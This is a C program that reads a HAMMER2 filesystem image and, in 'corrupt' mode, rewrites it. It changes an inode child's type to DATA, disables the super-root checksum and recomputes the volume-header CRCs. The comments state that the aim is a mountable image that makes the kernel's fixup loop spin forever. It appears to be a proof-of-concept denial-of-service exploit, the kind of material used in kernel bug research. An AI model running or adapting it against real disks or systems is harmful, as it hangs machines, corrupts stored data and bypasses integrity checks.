#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

/* hardcoded offsets matching sys/vfs/hammer2/hammer2_disk.h */
#define VH_SIZE          65536
#define SROOT_BLOCKSET_OFF 0x200
#define BREF_SIZE        128
#define BREF_TYPE_OFF    0
#define BREF_METHODS_OFF 1
#define BREF_KEY_OFF     8
#define BREF_DATAOFF_OFF 32
#define BREF_CHECK_OFF   64   /* xxhash64.value is first 8 bytes of check union */

#define ICRC_SECTS_OFF   0x1E0  /* icrc_sects[8] at 0x1E0-0x1FF */
#define ICRC_VH_OFF      0xFFFC

#define HAMMER2_OFF_MASK      0xFFFFFFFFFFFFFFC0ULL
#define HAMMER2_OFF_MASK_RADIX 0x3FULL

#define HAMMER2_BREF_TYPE_INODE 1
#define HAMMER2_BREF_TYPE_DATA  3

extern uint32_t iscsi_crc32(const void *buf, size_t size);

static uint64_t rd64(const uint8_t *b, size_t off) {
    uint64_t v;
    memcpy(&v, b + off, 8);
    return v;
}
static void wr64(uint8_t *b, size_t off, uint64_t v) {
    memcpy(b + off, &v, 8);
}
static uint32_t rd32(const uint8_t *b, size_t off) {
    uint32_t v;
    memcpy(&v, b + off, 4);
    return v;
}
static void wr32(uint8_t *b, size_t off, uint32_t v) {
    memcpy(b + off, &v, 4);
}

int main(int argc, char **argv) {
    const char *img = argv[1];
    int do_corrupt = (argc > 2 && strcmp(argv[2], "corrupt") == 0);

    uint8_t *vh = malloc(VH_SIZE);
    if (!vh) { perror("malloc"); return 1; }

    int fd = open(img, do_corrupt ? O_RDWR : O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }
    if (read(fd, vh, VH_SIZE) != VH_SIZE) { perror("read vh"); return 1; }

    /* dump sroot_blockset blockrefs */
    printf("=== Volume header sroot_blockset (offset 0x200) ===\n");
    for (int i = 0; i < 4; i++) {
        uint8_t *br = vh + SROOT_BLOCKSET_OFF + i * BREF_SIZE;
        uint8_t type = br[BREF_TYPE_OFF];
        uint8_t methods = br[BREF_METHODS_OFF];
        uint64_t key = rd64(br, BREF_KEY_OFF);
        uint64_t data_off = rd64(br, BREF_DATAOFF_OFF);
        uint64_t check = rd64(br, BREF_CHECK_OFF);
        printf("  blockref[%d]: type=%u methods=0x%02x key=0x%016jx data_off=0x%016jx (byteoff=0x%016jx radix=%ju) check=0x%016jx\n",
               i, type, methods,
               (uintmax_t)key, (uintmax_t)data_off,
               (uintmax_t)(data_off & HAMMER2_OFF_MASK),
               (uintmax_t)(data_off & HAMMER2_OFF_MASK_RADIX),
               (uintmax_t)check);
    }

    /* dump existing volume header CRCs */
    printf("=== Existing VH CRCs ===\n");
    printf("  icrc_sects[6] (SECT1, sroot): stored=0x%08x computed=0x%08x\n",
           rd32(vh, ICRC_SECTS_OFF + 6*4),
           iscsi_crc32(vh + 0x200, 512));
    printf("  icrc_sects[7] (SECT0): stored=0x%08x computed=0x%08x\n",
           rd32(vh, ICRC_SECTS_OFF + 7*4),
           iscsi_crc32(vh, 508));
    printf("  icrc_volheader: stored=0x%08x computed=0x%08x\n",
           rd32(vh, ICRC_VH_OFF),
           iscsi_crc32(vh, 65532));

    /* Now read the super-root inode data */
    uint64_t sroot_data_off = rd64(vh + SROOT_BLOCKSET_OFF, BREF_DATAOFF_OFF);
    uint64_t sroot_byteoff = sroot_data_off & HAMMER2_OFF_MASK;
    uint64_t sroot_radix = sroot_data_off & HAMMER2_OFF_MASK_RADIX;
    size_t sroot_size = (size_t)1 << sroot_radix;
    printf("=== Super-root inode: byteoff=0x%016jx size=%zu ===\n",
           (uintmax_t)sroot_byteoff, sroot_size);

    uint8_t *inode = malloc(sroot_size);
    if (pread(fd, inode, sroot_size, (off_t)sroot_byteoff) != (ssize_t)sroot_size) {
        perror("pread inode"); return 1;
    }

    /* dump inode's u.blockset (at inode offset 0x200) */
    printf("=== Super-root inode u.blockset (inode offset 0x200) ===\n");
    for (int i = 0; i < 4; i++) {
        uint8_t *br = inode + 0x200 + i * BREF_SIZE;
        uint8_t type = br[BREF_TYPE_OFF];
        uint8_t methods = br[BREF_METHODS_OFF];
        uint64_t key = rd64(br, BREF_KEY_OFF);
        uint64_t data_off = rd64(br, BREF_DATAOFF_OFF);
        uint64_t check = rd64(br, BREF_CHECK_OFF);
        printf("  child[%d]: type=%u methods=0x%02x key=0x%016jx data_off=0x%016jx check=0x%016jx\n",
               i, type, methods, (uintmax_t)key, (uintmax_t)data_off, (uintmax_t)check);
    }

    if (do_corrupt) {
        /* find first INODE child and flip its type to DATA */
        int target = -1;
        for (int i = 0; i < 4; i++) {
            uint8_t *br = inode + 0x200 + i * BREF_SIZE;
            if (br[BREF_TYPE_OFF] == HAMMER2_BREF_TYPE_INODE) {
                target = i;
                break;
            }
        }
        if (target < 0) { fprintf(stderr, "no INODE child found to corrupt\n"); return 1; }
        uint8_t *br = inode + 0x200 + target * BREF_SIZE;
        printf("=== CORRUPTING child[%d] type %u -> %u ===\n", target,
               br[BREF_TYPE_OFF], HAMMER2_BREF_TYPE_DATA);
        br[BREF_TYPE_OFF] = HAMMER2_BREF_TYPE_DATA;

        /* write modified inode data to disk */
        if (pwrite(fd, inode, sroot_size, (off_t)sroot_byteoff) != (ssize_t)sroot_size) {
            perror("pwrite inode"); return 1;
        }

        /* recompute XXH64 of the inode data using hammer2's seed via external
           symbol; here we cheat: change the check method to NONE so the kernel
           skips the CRC and the loop spins regardless */
        /* Actually: set methods check nibble to NONE (0) so no check is done.
           HAMMER2_DEC_CHECK(methods) >> 4 == 0 => CHECK_NONE => r=1 */
        /* But we also need the VOLUME HEADER sroot_blockset blockref[0] methods
           to reflect this. Let's just set methods byte to 0 in both the inode
           child blockref and the vh sroot blockref. */
        /* Wait -- the check is done on the LOADED chain data, not the blockref
           in the inode. The chain for child[target] loads data from child[target].data_off.
           We don't touch that. We changed the type in the PARENT (super-root inode).
           So the chain for child[target] will be loaded normally with its own data
           and its own check. Its type just says DATA now. The fixup loop sees
           type != INODE and continues forever. */

        /* BUT: the super-root inode data changed, so sroot_blockset.blockref[0].check
           (XXH64 of the inode) no longer matches. When the chain for the super-root
           inode is loaded during mount, CRC fails, mount bails.
           Solution: set check method of sroot blockref[0] to NONE. */
        uint8_t *vhbr0 = vh + SROOT_BLOCKSET_OFF + 0 * BREF_SIZE;
        uint8_t old_methods = vhbr0[BREF_METHODS_OFF];
        /* zero the check nibble (high nibble of methods byte): HAMMER2_ENC_CHECK(0)=0 */
        vhbr0[BREF_METHODS_OFF] = old_methods & 0x0F;
        printf("=== Set sroot blockref[0] methods 0x%02x -> 0x%02x (CHECK_NONE) ===\n",
               old_methods, vhbr0[BREF_METHODS_OFF]);

        /* recompute volume header CRCs (sroot_blockset changed) */
        wr32(vh, ICRC_SECTS_OFF + 6*4, iscsi_crc32(vh + 0x200, 512));
        wr32(vh, ICRC_SECTS_OFF + 7*4, iscsi_crc32(vh, 508));
        wr32(vh, ICRC_VH_OFF, iscsi_crc32(vh, 65532));

        /* write modified volume header */
        if (pwrite(fd, vh, VH_SIZE, 0) != VH_SIZE) { perror("pwrite vh"); return 1; }

        printf("=== DONE. Re-checking CRCs ===\n");
        printf("  icrc_sects[6]: stored=0x%08x computed=0x%08x\n",
               rd32(vh, ICRC_SECTS_OFF + 6*4), iscsi_crc32(vh + 0x200, 512));
        printf("  icrc_sects[7]: stored=0x%08x computed=0x%08x\n",
               rd32(vh, ICRC_SECTS_OFF + 7*4), iscsi_crc32(vh, 508));
        printf("  icrc_volheader: stored=0x%08x computed=0x%08x\n",
               rd32(vh, ICRC_VH_OFF), iscsi_crc32(vh, 65532));
    }

    free(vh);
    free(inode);
    close(fd);
    return 0;
}
